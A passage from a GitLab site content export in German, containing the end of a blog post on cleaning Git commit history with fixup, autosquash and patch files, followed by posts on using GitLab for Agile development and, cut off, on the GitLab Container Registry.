Fixes und\nbehält das Original bei.\n\nDas Ergebnis sieht dann etwa so aus:\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\nfixup 62e858a322 Fix a typo\n\nfixup 5c25eb48c8 Ops another fix\n\nfixup 7f0718efe9 Fix 2\n\nfixup f0ffc19ef7 Argh Another fix!\n\npick aa0a35a867e Add styles for navigation\n\n```\n\n\nSpeichere die Änderungen, beende den Editor und schon bist du fertig! Dies\nist der resultierende Verlauf:\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick 96373c0bcf Render navigation partial\n\npick aa0a35a867e Add styles for navigation\n\n```\n\n\nWie zuvor musst du jetzt nur noch `git push --force-with-lease \u003Cremote_name>\n\u003Cbranch_name>` ausführen, damit die Änderungen sichtbar sind.\n\n\nWenn du einen Git-Commit vollständig aus dem Branch entfernen möchtest,\nschreibe statt `squash` oder `fixup` einfach `drop` oder lösche diese Zeile.\n\n\n## Vermeiden von Konflikten bei Git-Commits\n\n\nUm Konflikte zu vermeiden, solltest du sicherstellen, dass die Commits, die\ndu in der Zeitleiste nach vorne schiebst, nicht dieselben Dateien berühren,\ndie von den Commits nach ihnen bearbeitet werden.\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\nfixup 62e858a322 Fix a typo                 # this changes styles.css\n\nfixup 5c25eb48c8 Ops another fix            # this changes image/logo.svg\n\nfixup 7f0718efe9 Fix 2                      # this changes styles.css\n\nfixup f0ffc19ef7 Argh Another fix!          # this changes styles.css\n\npick aa0a35a867e Add styles for navigation  # this changes index.html (no\nconflict)\n\n```\n\n\n## Extra-Tipp: Schnelle Git commit fixups\n\n\nWenn du genau weißt, welchen Commit du reparieren möchtest, musst du beim\nCommit keine Zeit damit verschwenden, dir gute temporäre Namen für \"Fix 1\",\n\"Fix 2\", ..., \"Fix 42\" auszudenken.\n\n\n### Step 1: `--fixup`\n\n\nNachdem du die Änderungen vorgenommen hast, um das zu reparieren, was\nrepariert werden muss, übergibst du einfach alle Änderungen mit Git wie\nfolgt:\n\n\n```\n\ngit commit --fixup c22a3fa0c5c\n\n```\n\n(Dies ist der Hash für den Commit `c22a3fa0c5c Render navigation partial`)\n\nDadurch wird diese Commit-Nachricht erzeugt: `fixup! Render navigation\npartial`.\n\n\n### Step 2: `--autosquash`\n\n\nEinfaches interaktives Rebase. Du kannst `git` die `fixups` automatisch an\nder richtigen Stelle platzieren lassen.\n\n\n`git rebase -i 4155df1cdc7 --autosquash`\n\n\nDer Verlauf wird folgendermaßen dargestellt:\n\n\n```\n\npick 4155df1cdc7 Page Navigation View\n\npick c22a3fa0c5c Render navigation partial\n\nfixup 62e858a322 Fix a typo\n\nfixup 5c25eb48c8 Ops another fix\n\nfixup 7f0718efe9 Fix 2\n\nfixup f0ffc19ef7 Argh Another fix!\n\npick aa0a35a867e Add styles for navigation\n\n```\n\n\nDu kannst sie einfach überprüfen und fortsetzen. \n\n\nFalls du experimentierfreudig bist, besteht die Möglichkeit, ein nicht\ninteraktives Rebase mit `git rebase --autosquash` durchzuführen. Dies sollte\njedoch mit Vorsicht geschehen, da du keine Möglichkeit hast, die Squashs vor\nihrer Anwendung zu überprüfen, was potenziell zu unerwarteten Ergebnissen\nführen kann.\n\n\n## Situation 4: Der Verlauf meiner Git-Commits ergibt keinen Sinn, ich\nmöchte von vorn beginnen!\n\n\nWenn wir an einer umfangreichen Funktion arbeiten, ist es üblich, dass wir\nmehrere Korrekturen und Rückmeldungen vornehmen, die häufig übertragen\nwerden. Anstatt den Branch ständig zu ändern, können wir das Aufräumen der\nGit-Commits bis zum Ende der Entwicklung aufschieben.\n\n\nIn solchen Fällen erweisen sich Patch-Dateien als äußerst praktisch. Bevor\nGit-basierte Dienste wie GitLab den Entwickler(inne)n zur Verfügung standen,\nwaren Patch-Dateien die wichtigste Methode, um bei der Zusammenarbeit an\ngroßen Open-Source-Projekten Code per E-Mail auszutauschen.\n\n\nAngenommen, du hast einen solchen Branch (z. B. \"`add-page-navigation`\"), in\ndem es tonnenweise Commits gibt, die die zugrunde liegenden Änderungen nicht\nklar vermitteln, dann kannst du folgendermaßen eine Patch-Datei für alle\nÄnderungen erstellen, die du in diesem Branch vorgenommen hast:\n\n\n- Um eine Patch-Datei zu erstellen, muss zunächst sichergestellt werden,\ndass der Branch alle Änderungen aus dem `master`-Branch enthält und keine\nKonflikte damit aufweist.\n\n- Um alle Änderungen vom Master-Branch in deinen\n`add-page-navigation`-Branch zu übernehmen, kannst du entweder `git rebase\nmaster` oder `git merge master` ausführen, während du im\n`add-page-navigation-Branch` ausgecheckt bist.\n\n- Nun erstellst du die Patch-Datei. Führe `git diff master\nadd-page-navigation > ~/add_page_navigation.patch` aus.\n  - __Aufschlüsselung des Befehls:__ Hier verwenden wir die Diff-Funktion von Git und fordern einen Vergleich zwischen dem `master`-Branch und dem `add-page-navigation`-Branch an. Die Ausgabe wird über das \"`>`\"-Symbol in eine Datei namens `add_page_navigation.patch` in unserem Benutzerverzeichnis (typischerweise ~/ in Unix-basierten Betriebssystemen) umgeleitet.\n  - Du kannst einen beliebigen Pfad angeben, in dem die Datei gespeichert werden soll. Der Dateiname und die Erweiterung können beliebig gewählt werden.\n  - Sobald der Befehl ausgeführt wurde und keine Fehler angezeigt werden, wird die Patch-Datei erstellt.\n  - Checke jetzt den `master`-Branch aus; führe `git checkout master` aus.\n  - Du kannst den Branch `add-page-navigation` aus deinem lokalen Repository löschen, indem du `git branch -D add-page-navigation` ausführst. Denke daran, dass die Änderungen dieses Branchs bereits in einer erstellten Patch-Datei enthalten sind.\n  - Erstelle nun einen neuen Branch mit demselben Namen (während `master` ausgecheckt ist); führe `git checkout -b add-page-navigation` aus.\n  - Zu diesem Zeitpunkt ist dies ein neuer Branch, der noch keine der Änderungen enthält.\n  - Zum Schluss werden die Änderungen aus der Patch-Datei übernommen; `git apply ~/add_page_navigation.patch`.\n  - Hier werden alle Änderungen in einen Branch übernommen und erscheinen als \"uncommitted\", so, als ob du alle Änderungen vorgenommen hättest, aber keine der Änderungen tatsächlich in den Branch übernommen wurden.\n  - Jetzt kannst du einzelne Dateien oder nach Einflussbereich gruppierte Dateien in der gewünschten Reihenfolge mit prägnanten Commit-Nachrichten übertragen.\n\nWie in vorherigen Situationen wurde der gesamte Branch geändert, also ist es\nan der Zeit, einen Push zu erzwingen!\n\n\n## Gründe, deine Git-Commit-Historie aufzuräumen\n\n\nBasierend auf den beschriebenen Situationen, gibt es sechs wichtige Gründe,\ndeine Git-Commit-Historie aufzuräumen:\n\n\n- __Bessere Nachvollziehbarkeit:__ Eine übersichtliche Commit-Historie\nerleichtert es Entwickler(innen)n, den [Verlauf des\nCodes](https://about.gitlab.com/de-de/solutions/source-code-management/\n\"Verlauf des Codes\") zu verstehen und Änderungen nachzuvollziehen.\n\n- __Effiziente Fehlerbehebung:__ Durch klare Commit-Nachrichten und eine\nstrukturierte Historie können Fehler schneller identifiziert und behoben\nwerden.\n\n- __Verbesserte Zusammenarbeit:__ Ein aufgeräumter Commit-Verlauf\nerleichtert die Zusammenarbeit im Team, da Entwickler(innen)schnell den\nKontext und den Zweck früherer Änderungen verstehen können.\n\n- __Effizientere Wartung:__ Weniger Zeit wird mit der Suche nach\nspezifischen Änderungen und deren Kontext verschwendet, was die Wartung des\nCodes effizienter macht.\n\n- __Verbesserte Codequalität:__ Eine saubere Commit-Historie fördert\nbewusstere Entscheidungen beim Committen und trägt so zur Verbesserung der\nCodequalität bei.\n\n- __Gesamtproduktivität steigern:__ Indem Entwickler(innen) weniger Zeit mit\nder Suche nach Informationen in der Commit-Historie verbringen, können sie\nsich besser auf die eigentliche Entwicklung konzentrieren und die\nGesamtproduktivität des Teams steigern.\n\n\nWenn du dich mit den Tipps vertraut gemacht hast, kannst du in der\n[offiziellen\nGit-Dokumentation](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History\n\"offiziellen Git-Dokumentation\") mehr über fortgeschrittene Konzepte zu\ndiesem Thema erfahren. Viel Spaß mit Git!\n",[849,974],{"slug":3832,"featured":6,"template":682},"keeping-git-commit-history-clean","content:de-de:blog:keeping-git-commit-history-clean.yml","Keeping Git Commit History Clean","de-de/blog/keeping-git-commit-history-clean.yml","de-de/blog/keeping-git-commit-history-clean",{"_path":3838,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3839,"content":3845,"config":3851,"_id":3853,"_type":16,"title":3854,"_source":17,"_file":3855,"_stem":3856,"_extension":20},"/de-de/blog/gitlab-for-agile-software-development",{"title":3840,"description":3841,"ogTitle":3840,"ogDescription":3841,"noIndex":6,"ogImage":3842,"ogUrl":3843,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3843,"schema":3844},"So setzt du GitLab für die Agile-Softwareentwicklung ein","Wie Agile-Artefakte auf GitLab-Funktionen abgebildet werden und wie eine Agile-Iteration in GitLab aussieht.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097459/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097459157.png","https://about.gitlab.com/blog/gitlab-for-agile-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So setzt du GitLab für die Agile-Softwareentwicklung ein\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"},{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2018-03-05\",\n      }",{"title":3840,"description":3841,"authors":3846,"heroImage":3842,"date":3848,"body":3849,"category":976,"tags":3850,"updatedDate":2151},[3847,1812],"Victor Wu","2018-03-05","Hast du dich jemals gefragt, ob GitLab die [Agile-Methode](https://about.gitlab.com/de-de/solutions/agile-delivery/) unterstützt? Wenn du die Verwendung von GitLab in Betracht ziehst, ist es möglicherweise nicht offensichtlich, wie die Funktionen der DevSecOps-Plattform mit Agile-Artefakten übereinstimmen. Daher haben wir sie für dich aufgeschlüsselt.\n\nAgile ist eine der wichtigsten und transformativsten Methoden, die in den letzten Jahrzehnten im Bereich des Software-Engineerings eingeführt wurde. Obwohl sich nicht alle auf die detaillierte Terminologie der Agile-Konzepte einigen können, hat sie sich dennoch deutlich positiv auf die Softwareentwicklungsteams ausgewirkt. Du kannst dank [Agile-Softwareentwicklung](https://about.gitlab.com/de-de/solutions/agile-delivery/) und der Bereitstellungsprozesse effizient kundenorientierte Produkte erstellen.\n\nGitLab ist so konzipiert, dass es flexibel genug ist, um sich an deine Softwareentwicklungsmethodik anzupassen, unabhängig davon, ob es sich um Agile handelt oder davon inspiriert ist. In diesem Beitrag zeigen wir eine einfache Zuordnung von Agile-Artefakten zu GitLab-Funktionen und erklären, wie Kund(inn)en erfolgreich leistungsstarke [Agile-Softwarebereitstellungsteams](https://about.gitlab.com/de-de/solutions/agile-delivery/) mit GitLab unterstützen.\n\n## Inhaltsverzeichnis\n\n- [Zuordnen von Agile-Artefakten zu GitLab-Funktionen](#zuordnen-von-agile-artefakten-zu-gitlab-funktionen)\n  - [Agile-Artefakt → GitLab-Funktion](#agile-artefakt--gitlab-funktion)\n- [Eine Agile-Iteration mit GitLab](#eine-agile-iteration-mit-gitlab)\n  - [User Storys → GitLab-Probleme](#user-storys--gitlab-probleme)\n  - [Aufgabe → Aufgaben](#aufgabe--aufgaben)\n  - [Epics → GitLab-Epics](#epics--gitlab-epics)\n  - [Produkt-Backlog → GitLab-Issue-Übersichten](#produkt-backlog--gitlab-issue-übersichten)\n  - [Sprints → GitLab-Iterationen](#sprints--gitlab-iterationen)\n  - [Punkte und Schätzungen → GitLab-Ticketgewichtung](#punkte-und-schätzungen--gitlab-ticketgewichtung)\n  - [Agile Board → GitLab-Issue-Übersichten](#agile-board--gitlab-issue-übersichten)\n  - [Team-Workload → GitLab-Issue-Übersicht](#team-workload--gitlab-issue-übersicht)\n  - [Abarbeitungen → GitLab-Abarbeitungen](#abarbeitungen--gitlab-abarbeitungen)\n- [Starte deine Agile-Reise mit GitLab](#starte-deine-agile-reise-mit-gitlab)\n\n## Zuordnen von Agile-Artefakten zu GitLab-Funktionen\n\n### Agile-Artefakt → GitLab-Funktion \n\n- User Story –> [Probleme](https://docs.gitlab.com/ee/user/project/issues/) \n- Aufgabe –> [Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) \n- Epic –> [Epics](https://docs.gitlab.com/ee/user/group/epics/) \n- Punkte und Schätzung –> [Problemgewichtung](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) \n- Produkt-Backlog –> [Issue-Übersichten](https://docs.gitlab.com/ee/user/project/issue_board.html)\n- Sprint/Iteration –> [Iterationen](https://docs.gitlab.com/ee/user/group/iterations/) \n- Agile Board –> [Issue-Übersichten](https://docs.gitlab.com/ee/user/project/issue_board.html) \n- Team-Workload –> [Issue-Übersichten](https://docs.gitlab.com/ee/user/project/issue_board.html) \n- Abarbeitungsdiagramm –> [Abarbeitungsdiagramme](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html)\n\n## Eine Agile-Iteration mit GitLab\n\n### User Storys → GitLab-Probleme\n\nIn der Agile-Softwareentwicklungsmethodik beginnt man oft mit einer User Story, die ein einzelnes Feature erfasst, um den Benutzer(inne)n einen Geschäftswert zu bieten. In GitLab dient ein [Ticket](https://docs.gitlab.com/ee/user/project/issues/) diesem Zweck mit Leichtigkeit. GitLab-Tickets sind für Agile-Teams unerlässlich und bieten eine effektive Methode zum Verwalten von Aufgaben und Projekten. Softwareentwickler(innen) können Tickets erstellen, zuweisen und nachverfolgen, um eine klare Verantwortlichkeit und Sichtbarkeit des Fortschritts zu gewährleisten. Tickets kommen mit robusten Metadaten wie Beauftragte(r), Iteration, Gewichtung und Labels, was die Aufgabenpriorisierung und das Workflow-Management während des gesamten Softwareentwicklungsprozesses verbessert. Darüber hinaus wird die Teamzusammenarbeit bei Tickets mit Diskussionsthreads, Anhängen und Echtzeit-Updates optimiert, um eine effektive Kommunikation und Teamarbeit zu ermöglichen.\n\n![Screenshot eines GitLab-Tickets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097468/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097468371.png)\n\nDas GitLab-Ticket hat einen Titel und einen Beschreibungsbereich in der Mitte, in dem du alle Details wie den Geschäftswert und die relevanten Personas in einer User Story dokumentieren kannst. Die Seitenleiste rechts bietet die Integration mit anderen Agile-kompatiblen Funktionen wie dem übergeordneten Epic, zu dem das Ticket gehört, der Iteration, in der das Ticket bearbeitet werden soll, und der Gewichtung des Tickets, die den geschätzten Aufwand widerspiegelt.\n\n### Aufgabe → Aufgaben\n\nOft wird eine User Story weiter in einzelne Aufgaben unterteilt. GitLab-[Aufgaben](https://docs.gitlab.com/ee/user/tasks.html) rationalisieren das Projektmanagement, da Agile-Teams die Möglichkeit haben, User Storys in einzelne Arbeitsschritte aufzuteilen. Diese Funktion unterstützt das Agile-Framework, indem Softwareentwickler(innen) Aufgaben innerhalb ihrer Projekte erstellen, zuweisen und nachverfolgen können. Durch die direkte Integration des Aufgabenmanagements in GitLab können Teams einen zusammenhängenden Workflow aufrechterhalten, der sicherstellt, dass alle Projektaktivitäten der Softwareentwicklung einfach nachverfolgt und verwaltet werden können.\n\n[!Screenshot mit genauer Aufgabenverwaltung und Projektverfolgung mit GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175696/Blog/rd4jnbnddseykj7f9x4q.png)\n\nVerbessere den Nutzen für Benutzer(innen) mit einer präzisen Aufgabenverwaltung und Projektverfolgung mit GitLab. Die Aufgaben sind mit den gleichen Metadaten wie Tickets ausgestattet, einschließlich Beauftragte(r), Iteration, Gewichtung, Label, Zeiterfassung und Funktionen für die Zusammenarbeit. Dieser umfassende Funktionsumfang ermöglicht es Agile-Teams und Projektmanager(innen), Workloads effektiv zu verwalten, Aufgaben zu priorisieren und eine nahtlose Zusammenarbeit zwischen Softwareentwickler(inne)n zu gewährleisten.\n\n### Epics → GitLab-Epics\nAndererseits können Agile-Entwicklungsfachkräfte eine Abstraktion über den User Storys angeben, die oft als Epic bezeichnet wird und auf einen größeren Benutzerfluss hinweist, der aus mehreren Funktionen besteht. In GitLab enthält ein [Epic](https://docs.gitlab.com/ee/user/group/epics/) auch einen Titel und eine Beschreibung, ähnlich wie ein Ticket, aber du kannst mehrere untergeordnete Tickets daran anhängen, um diese Hierarchie anzuzeigen.\n\n![Screenshot von verschachtelten GitLab-Epics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097468372.png)\n\nMit GitLab-Epics können Agile-Teams große Projekte effizient organisieren und verwalten, indem sie Epics bis zu neun Ebenen tief verschachteln. Diese hierarchische Struktur bietet einen klaren Überblick über die Roadmap des Projekts und hilft Softwareentwickler(inne)n und Projektmanager(inne)n, komplexe Initiativen in überschaubare Komponenten zu unterteilen. Durch die Verwendung von untergeordneten und [verknüpften Epics](https://docs.gitlab.com/ee/user/group/epics/linked_epics.html) können Teams den Fortschritt, die Abhängigkeiten und die Projektmeilensteine besser verfolgen, die Zusammenarbeit verbessern und eine kohärente Agile-Bereitstellung gewährleisten.\n\n### Produkt-Backlog → GitLab-Issue-Übersichten\n\nDie Produkt- oder Geschäftsinhaber(innen) erstellen diese User Storys in der Regel, um die Bedürfnisse des Unternehmens und der Kund(inn)en widerzuspiegeln. Sie werden in einem Produkt-Backlog nach Prioritäten sortiert, um die Dringlichkeit und die gewünschte Reihenfolge der Entwicklung festzuhalten. Die Eigentümer(innen) des Produkts kommunizieren mit den Stakeholdern, um die Prioritäten festzulegen, und verfeinern das Backlog ständig. In GitLab bietet eine [Issue-Übersicht](https://docs.gitlab.com/ee/user/project/issue_board.html), die mit Iterationen als Listen organisiert ist, ein Drag-and-Drop-Workflow-Erlebnis, mit dem du deinen Backlog mühelos priorisieren und Storys einem bevorstehenden Sprint zuweisen kannst.\n\n[Gif der GitLab Issue-Übersicht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175706/Blog/s6jqjqgqgwaaqc1ywkkn.gif)\n\n### Sprints → GitLab-Iterationen\n\nEin Sprint stellt einen begrenzten Zeitraum dar, in dem die Arbeit abgeschlossen werden soll. Das kann eine Woche, ein paar Wochen oder vielleicht einen Monat oder mehr umfassen. Die Eigentümer(innen) des Produkts und das Entwicklungsteam treffen sich, um zu entscheiden, welche Arbeiten für den kommenden Sprint vorgesehen sind. Die Funktion [Iterationen](https://docs.gitlab.com/ee/user/group/iterations/) von GitLab unterstützt dies: Weise Iterationen ein Startdatum und ein Fälligkeitsdatum zu, um den Zeitraum der Iteration zu erfassen. Das Team fügt dann Tickets in den Sprint ein, indem es sie dieser bestimmten Iteration zuweist.\n\nDurch die Verwendung von Iterationen nutzt du die erweiterten Funktionen von GitLab für agiles Projektmanagement und bietest eine bessere Transparenz und Kontrolle über deine Agile-Planung und -Bereitstellung. \n\n### Punkte und Schätzungen → GitLab-Ticketgewichtung\n\nAuch in diesem Meeting werden User Storys kommuniziert und der technische Aufwand für jede User Story geschätzt. In GitLab haben Tickets eine [Gewichtung](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) – Attribute, die du verwenden würdest, um den geschätzten Aufwand anzugeben.\n\nIn dieser Besprechung (oder in den folgenden) werden die User Storys weiter aufgeschlüsselt und manchmal werden technische Pläne und die Architektur dokumentiert. In GitLab können diese Informationen im Ticket oder in der [Beschreibung der Merge Request](https://docs.gitlab.com/ee/user/project/merge_requests/) dokumentiert werden, da die Merge Request oft der Ort ist, an dem die technische Zusammenarbeit stattfindet.\n\nWährend des Sprints (GitLab-Iteration) holen die Mitglieder des Softwareentwicklungsteams User Storys ab, an denen sie nacheinander arbeiten können. In GitLab haben Tickets Beauftragte. Du würdest dich also einem Ticket [zuweisen](https://docs.gitlab.com/ee/user/project/issues/multiple_assignees_for_issues.html), um zu zeigen, dass du jetzt daran arbeitest. Wir empfehlen dir, [eine leere und mit dem Ticket verknüpfte Merge Request zu erstellen](https://docs.gitlab.com/ee/user/project/issues/), um sofort mit dem technischen Zusammenarbeitsprozess zu beginnen, noch bevor du eine einzige Codezeile erstellst.\n\n### Agile Board → GitLab-Issue-Übersichten\n\nWährend des gesamten Sprints durchlaufen die Tickets verschiedene Phasen, wie z. B. `Ready for dev`, `In dev`, `In QA`, `In review`, `Done`, abhängig vom Workflow in deiner jeweiligen Organisation. Normalerweise sind dies Spalten in einem Agile Board. In GitLab kannst du mit [Issue-Übersichten](https://docs.gitlab.com/ee/user/project/issue_board.html) deine Phasen definieren und Tickets durch sie bewegen. Das Team kann unter Beachtung der Iteration und anderer relevanter Attribute [die Übersicht konfigurieren](https://docs.gitlab.com/ee/user/project/issue_board.html#board-with-configuration). Während der täglichen Stand-ups betrachtet das Team das Board gemeinsam, um den Status des Sprints aus einer Workflow-Perspektive zu sehen.\n\n![Screenshot der GitLab-Issue-Übersicht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097468374.png)\n\nDie GitLab-Issue-Übersicht greift auch dynamisch auf Probleme zu, ähnlich wie die GitLab-Issue-Liste. Aber sie ermöglicht flexiblere Workflows. Du kannst individuelle Listen in der Übersicht einrichten, um die Phasen des Agile Boards widerzuspiegeln. Dein Team kann dann die User Storys steuern und verfolgen, während sie von z. B. „Bereit für die Entwicklung“ zu „Zur Produktion freigegeben“ wechseln.\n\n### Team-Workload → GitLab-Issue-Übersicht\n\nAgile Teams können ihre Workflows optimieren, indem sie Issue-Übersichten mit Listen erstellen, die den Verantwortlichen in GitLab zugeordnet sind. Mit dieser Funktion kannst du die Verteilung der Aufgaben unter den Teammitgliedern visualisieren und die agile Bereitstellung verbessern. Um es einzurichten, gehe zu deinem Projekt oder deiner Gruppe, erstelle eine neue Übersicht im Abschnitt „Boards“ und [füge Listen](https://docs.gitlab.com/ee/user/project/issue_board.html#create-a-new-list) für jede(n) Beauftragte(n) hinzu. Weise Teammitgliedern Tickets zu, und sie werden automatisch in den entsprechenden Listen angezeigt. Diese dynamische Ansicht ermöglicht eine ausgewogene Arbeitsbelastung und eine effektive Aufgabenverwaltung.\n\n![Screenshot der organisierten GitLab-Issue-Übersicht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/WIP_limit_aHR0cHM6_1750097468376.gif)\n\nOrganisiere eine Issue-Übersicht nach beauftragter Person oder nach Team mithilfe von [Labels mit begrenztem Geltungsbereich]. Die Issue-Übersicht von GitLab ist unglaublich vielfältig und unterstützt Workflows über den gesamten Software-Entwicklungsprozess hinweg.\n\n### Abarbeitungen → GitLab-Abarbeitungen\n\nDas Entwicklungsteam möchte in Echtzeit wissen, ob es auf dem richtigen Weg ist, und die entstehenden Risiken mindern. GitLab bietet [Abarbeitungen](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html), damit das Team die im aktuellen Sprint „abzuarbeitenden“ Aufgaben visualisieren kann, während sie abgeschlossen wird.\n\nGegen Ende des Sprints stellt das Entwicklungsteam die fertiggestellten Funktionen den verschiedenen Interessengruppen vor. Mit GitLab wird dieser Prozess mithilfe von [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/index.html) vereinfacht, sodass auch Code, der noch nicht für die Produktion freigegeben ist, in verschiedenen Test-, Staging- oder UAT-Umgebungen vorgeführt werden kann. Review Apps und [CI/CD-Funktionen](https://docs.gitlab.com/ee/ci/) sind in die Merge Request selbst integriert.\n\nDie gleichen Tools sind auch für Entwickler(innen) und QA-Rollen nützlich, um die Softwarequalität zu sichern, sei es durch automatisierte Tests mit CI/CD oder durch manuelle Tests in einer Review-App-Umgebung.\n\n![Screenshot von GitLab-Abarbeitungen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097469/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097468378.png)\n\nDie GitLab-Abarbeitung ermöglicht es einem Team, die „abzuarbeitenden“ Aufgaben zu verfolgen, während sie in einem Sprint abgeschlossen werden. Auf diese Weise kannst du früher auf Risiken reagieren und dich anpassen. So kannst du Geschäfts-Stakeholder darüber informieren, dass bestimmte Funktionen voraussichtlich auf einen zukünftigen Sprint verschoben werden.\n\nTeam-Retrospektiven am Ende des Sprints können im [Wiki] von GitLab (https://docs.gitlab.com/ee/user/project/wiki/index.html) dokumentiert werden, sodass die gewonnenen Erkenntnisse und die Aktionspunkte im Laufe der Zeit nachverfolgt werden können. Während der eigentlichen Retrospektive kann sich das Team den [Iterationsbericht](https://docs.gitlab.com/ee/user/group/iterations/#iteration-report) ansehen, der die Abarbeitung und andere Statistiken des abgeschlossenen Sprints anzeigt.\n\n## Starte deine Agile-Reise mit GitLab\nBist du bereit, dein Agile-Projektmanagement zu verbessern? GitLab bietet eine umfassende Palette von Funktionen, die auf Agile-Teams, Softwareentwickler(innen) und Projektmanager(innen) zugeschnitten sind und eine nahtlose Zusammenarbeit und effiziente Workflows gewährleisten. Erkunde unsere Preisoptionen, starte eine kostenlose Testversion und erfahre, wie GitLab deine Agile-Bereitstellungsprozesse verändern kann.\n\n> [Erfahre mehr über die Agile Planung mit GitLab](https://about.gitlab.com/pricing/) und starte noch heute deine Reise!\n",[973,745,974,1875],{"slug":3852,"featured":6,"template":682},"gitlab-for-agile-software-development","content:de-de:blog:gitlab-for-agile-software-development.yml","Gitlab For Agile Software Development","de-de/blog/gitlab-for-agile-software-development.yml","de-de/blog/gitlab-for-agile-software-development",{"_path":3858,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3859,"content":3865,"config":3870,"_id":3872,"_type":16,"title":3873,"_source":17,"_file":3874,"_stem":3875,"_extension":20},"/de-de/blog/gitlab-container-registry",{"title":3860,"description":3861,"ogTitle":3860,"ogDescription":3861,"noIndex":6,"ogImage":3862,"ogUrl":3863,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3863,"schema":3864},"Was ist das Gitlab Container Registry?"," Die auf Open Source basierende GitLab Container Registry ist nicht nur eine eigenständige Registry, sondern vollständig in GitLab integriert.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665223/Blog/Hero%20Images/containers.jpg","https://about.gitlab.com/blog/gitlab-container-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was ist das Gitlab Container Registry?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Pundsack\"}],\n        \"datePublished\": \"2016-05-23\",\n      }",{"title":3860,"description":3861,"authors":3866,"heroImage":3862,"date":3868,"body":3869,"category":847,"updatedDate":2339},[3867],"Mark Pundsack","2016-05-23","# Was ist das GitLab Container Registry? \n\nSeit dem Launch von GitLab 8.8. ist es möglich, eine Pipeline in GitLab aufzubauen und deine Builds, Tests, Deploys und jede andere Phase des Lebenszyklus deiner Software zu visualisieren. Dafür nutzt du die GitLab Container Registry.\n\nIn diesem Artikel erfährst du, was das Container Registry ist, wie du es anwendest und wie es dir dein Arbeitsleben leichter machen kann.\n\n## GitLab Container Registry – wie funktioniert’s?\n\nDie GitLab Container Registry bietet eine sichere und private Speicherlösung für Docker-Images. Sie ist nicht nur eine eigenständige Datenbank, sondern auch nahtlos in GitLab integriert. Unser Ziel bei GitLab ist es, ein konsistentes und integriertes Benutzererlebnis zu bieten. Die Registry ist dabei keine Ausnahme. Mit ihrer Integration kannst du deine Images problemlos für GitLab CI verwenden, spezielle Images für Tags oder Branches erstellen und vieles mehr.\nSie ist bei Installation bereits vollständig in die Git-Repository-Verwaltung integriert – es ist also keine zusätzliche Installation erforderlich. Zudem ermöglicht sie ein einfaches Hoch- und Herunterladen von Images über GitLab CI.\n\nIn der Verwaltungsdokumentation findest du detaillierte Anleitungen, wie du die Container-Registry in deiner GitLab-Instanz aktivieren kannst. Diese umfassende Dokumentation deckt alles ab, von der Konfiguration selbstsignierter Zertifikate bis hin zu Umgebungsvariablen, Garbage-Collect-Befehlen, verschiedenen APIs, Curl-Befehlen, der Festlegung von Ratenlimits und der Integration einer externen Registry. \n\n## Grundlagen zu Docker\n\nEin unverzichtbarer Bestandteil eines Docker-orientierten Arbeitsablaufs ist ein Image, das sämtliche Ressourcen für die Ausführung einer Anwendung beinhaltet. Häufig werden Images automatisch im Rahmen der Continuous Integration erstellt, wodurch sie bei jeder Codeänderung aktualisiert werden. Wenn Images für die gemeinsame Nutzung zwischen Entwickler(innen) und Maschinen erstellt werden sollen, ist es wichtig, dass sie an einem zentralen Ort gespeichert sind. Hierbei kommt eine Container Registry ins Spiel.\n\nDie Registry fungiert als Speicherort für Images. Hier können sie gehostet und für zukünftige Verwendung markiert werden. Entwickler(innen) können ihre eigene Registry einrichten, um private Images zu speichern oder temporäre Images für Testzwecke zu nutzen. Mit der Nutzung der GitLab Container Registry ist es nicht erforderlich, einen zusätzlichen Dienst einzurichten und zu verwalten oder auf eine öffentliche Registry zurückzugreifen.\n\n## Vollständige Integration\n\nDie GitLab Container Registry ist vollständig in GitLab integriert und erleichtert Entwickler(innen) das Programmieren, Testen und Bereitstellen von Docker-Container-Images mit GitLab [CI](https://about.gitlab.com/de-de/topics/ci-cd/) und anderen Docker-kompatiblen Tools.\n\nDie Benutzerauthentifizierung erfolgt über GitLab selbst, sodass alle Benutzer- und Gruppendefinitionen beachtet werden. Es müssen keine Repositories in der Registry erstellt werden, da das Projekt bereits in GitLab definiert ist.\n\nProjekte haben eine neue Registerkarte, Container Registry, in der alle mit dem Projekt verbundenen Images aufgelistet sind. Jedes Projekt kann über ein Image-Repository verfügen, das jedoch projektspezifisch ausgeschaltet werden kann. 